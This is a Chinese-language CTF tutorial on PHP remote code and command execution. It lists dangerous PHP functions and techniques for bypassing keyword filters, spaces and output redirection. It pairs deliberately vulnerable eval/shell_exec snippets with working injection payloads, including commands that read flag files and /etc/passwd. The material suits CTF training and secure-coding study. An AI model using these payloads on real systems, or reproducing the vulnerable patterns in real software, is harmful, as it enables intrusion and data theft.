每月更新 1/1 嘻嘻
前置知識
代碼執行(Remote Code Excution)
應用程序中提供了一些可以將字符串作為代碼執行的函數,如PHP中的eval()函數,可以將函數中的參數當做PHP代碼執行。如果這些函數的參數控制不嚴格,可能會被利用,造成任意代碼執行。
命令執行(Remote Commond Excution)
應用程序的某些功能需要調用可以執行系統命令的函數,如果這些函數或者函數的參數能被用戶控制,就可能通過命令連接符將惡意命令拼接到正常函數中,從而任意執行系統命令。
相關函數
代碼執行函數
eval()
assert()
create_function()
命令執行函數
system()
passthru()
exec()
shell_exec()
proc_open()
popen()
pcntl_exec()
dl()
常見繞過
繞過禁止的flag
fl\ag
a=fl;b=ag;cat $a$b
cat `ls`
cat $(ls)
cat f""lag
cat f*
cat f???
cat ????.???
實戰演示-flag被過濾的繞過
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=system("cat f*");
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=passthru ("cat f*");
查看文件命令
cat: 由第一行開始顯示文件內容
tac: 從最后一行開始顯示,可以看出tac是cat的倒寫形式
nl: 顯示的時候順便顯示行號
more: 一頁一頁地顯示文件內容
less: 與more類似,但是比more更好的是,可以往前翻頁
tail: 只看結尾幾行
od: 以二進制的方式讀取文件內容
/bin/c?t /etc/passwd
繞過空格
<
<>
%20(space)
%09(tab)
$IFS$9
${IFS}
實戰演示-空格繞過、cat繞過
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=passthru("tac%09f*");
單行多命令執行
; 執行完前面的語句再執行后面的語句
& 兩條命令都執行,如果前面的語句為假則執行執行后面的語句,前面的語句可真可假。
&& 如果前面的語句為假則直接出錯,也不執行后面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真
| 顯示后面語句的執行結果
|| 當前面的語句執行出錯時,執行后面的語句
$(touch TGUCTF) 被$包裹的優先級較高
`touch TGUCTF` 在``內的會被當做命令執行
實戰演示-單行多命令執行
<?php
if(isset($_GET['ip'])){
$ip=$_GET['ip'];
$a=shell_exec("ping -c 4 ".$ip);
print_r($a);
}
else{
highlight_file(__FILE__);
}
?ip=x;cat flag.php
實戰演示-截斷繞過
<?php
if (isset($_GET['c'])) {
$c = $_GET['c'];
system($c . " >/dev/null 2>&1");
} else {
highlight_file(__FILE__);
}
?>
?c=cat f*%0a